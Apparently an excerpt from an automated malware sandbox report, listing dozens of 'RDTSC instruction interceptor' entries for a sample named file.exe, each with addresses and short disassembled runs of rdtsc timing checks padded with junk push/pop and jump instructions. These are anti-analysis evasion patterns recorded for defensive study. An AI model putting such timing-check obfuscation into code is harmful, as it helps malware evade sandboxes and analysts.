Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623C01 second address: 623C05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673AF9 second address: 673B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FA57532F8D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673B06 second address: 673B0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675487 second address: 6754AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FA57532F8F1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B196 second address: 67B19C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B19C second address: 67B1A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B1A0 second address: 67B1B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA57532F856h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007FA57532F856h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B1B6 second address: 67B1C2 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA57532F8D6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B324 second address: 67B35C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FA57532F856h 0x0000000a pop ecx 0x0000000b jmp 00007FA57532F85Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push edi 0x00000016 pop edi 0x00000017 jnl 00007FA57532F856h 0x0000001d popad 0x0000001e jl 00007FA57532F860h 0x00000024 jmp 00007FA57532F85Ah 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B4D5 second address: 67B4E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA57532F8DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68538F second address: 685393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685393 second address: 6853A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FA57532F8D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68353A second address: 68353E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683697 second address: 68369F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68369F second address: 6836A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68398C second address: 68399C instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA57532F8D6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68399C second address: 6839A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6847D4 second address: 6847DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6847DA second address: 684801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA57532F864h 0x00000009 ja 00007FA57532F856h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007FA57532F856h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684DAB second address: 684DC3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FA57532F8E1h 0x00000008 pop ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684DC3 second address: 684E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA57532F865h 0x00000009 jmp 00007FA57532F869h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 js 00007FA57532F874h 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684E01 second address: 684E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FA57532F8D6h 0x0000000a pop esi 0x0000000b pushad 0x0000000c jng 00007FA57532F8D6h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689CD3 second address: 689CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CE0D second address: 68CE21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FA57532F8D6h 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CE21 second address: 68CE25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CE25 second address: 68CE3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007FA57532F8D6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CE3F second address: 68CE43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CE43 second address: 68CE4D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA57532F8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CE4D second address: 68CE58 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CE58 second address: 68CE5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D641 second address: 68D64D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jo 00007FA57532F856h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D64D second address: 68D651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D651 second address: 68D663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007FA57532F86Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695975 second address: 695984 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8DBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695984 second address: 6959B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA57532F862h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA57532F868h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6959B6 second address: 6959BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6959BA second address: 6959EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jne 00007FA57532F864h 0x00000010 pushad 0x00000011 jmp 00007FA57532F861h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695B54 second address: 695B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695B5A second address: 695B9B instructions: 0x00000000 rdtsc 0x00000002 je 00007FA57532F856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FA57532F860h 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FA57532F862h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FA57532F85Ah 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695B9B second address: 695BA5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA57532F8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696AAC second address: 696AB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696AB1 second address: 696AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 697222 second address: 69722F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FA57532F86Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69722F second address: 697243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA57532F8E0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6950EB second address: 6950EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A2C9 second address: 69A2CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A2CF second address: 69A2D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A2D3 second address: 69A2ED instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA57532F8D6h 0x00000008 jmp 00007FA57532F8E0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A2ED second address: 69A2F4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E373 second address: 69E37E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E37E second address: 69E384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E384 second address: 69E388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E388 second address: 69E39C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F860h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DDAD second address: 69DDB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DDB2 second address: 69DDB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E09F second address: 69E0A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E0A3 second address: 69E0C2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA57532F861h 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007FA57532F856h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB7FF second address: 6AB810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FA57532F8D6h 0x0000000a js 00007FA57532F8D6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEDB9 second address: 6AEDC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA57532F856h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEDC8 second address: 6AEDCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEDCE second address: 6AEDD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEF1A second address: 6AEF24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEF24 second address: 6AEF4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FA57532F868h 0x0000000a popad 0x0000000b pushad 0x0000000c push esi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop esi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEF4A second address: 6AEF72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA57532F8DCh 0x00000009 jmp 00007FA57532F8E2h 0x0000000e popad 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4C0E second address: 6B4C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4C12 second address: 6B4C22 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA57532F8D6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4C22 second address: 6B4C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4C26 second address: 6B4C38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA57532F8DCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBD85 second address: 6BBD8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBD8B second address: 6BBD91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBD91 second address: 6BBD95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D19BB second address: 5D19C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C20FF second address: 6C2115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA57532F862h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C650F second address: 6C6513 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6513 second address: 6C6519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C66B1 second address: 6C66B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C66B5 second address: 6C66D3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FA57532F862h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6943 second address: 6C6949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6A81 second address: 6C6AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA57532F862h 0x00000009 popad 0x0000000a jmp 00007FA57532F868h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6AB0 second address: 6C6AC4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA57532F8D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6AC4 second address: 6C6AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6AC8 second address: 6C6ACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6ACC second address: 6C6ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA57532F85Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6ADC second address: 6C6AEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA57532F8DAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6AEA second address: 6C6AF6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6AF6 second address: 6C6AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6C41 second address: 6C6C60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FA57532F866h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CBEE7 second address: 6CBF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA57532F8E1h 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007FA57532F8D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CBF04 second address: 6CBF0A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE1D7 second address: 6DE1E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8DCh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE1E9 second address: 6DE1ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0A0C second address: 6E0A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA57532F8D6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA57532F8E5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0A2E second address: 6E0A34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0A34 second address: 6E0A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0A3E second address: 6E0A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0A42 second address: 6E0A46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0A46 second address: 6E0A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA57532F856h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DAB4D second address: 6DAB6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FA57532F8DDh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007FA57532F8D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DAB6B second address: 6DAB6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC4FD second address: 6EC509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA57532F8DCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF0BF second address: 6EF0C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF0C3 second address: 6EF0C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF0C9 second address: 6EF0E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FA57532F868h 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70914F second address: 709155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709155 second address: 70917C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jg 00007FA57532F856h 0x0000000c jmp 00007FA57532F869h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
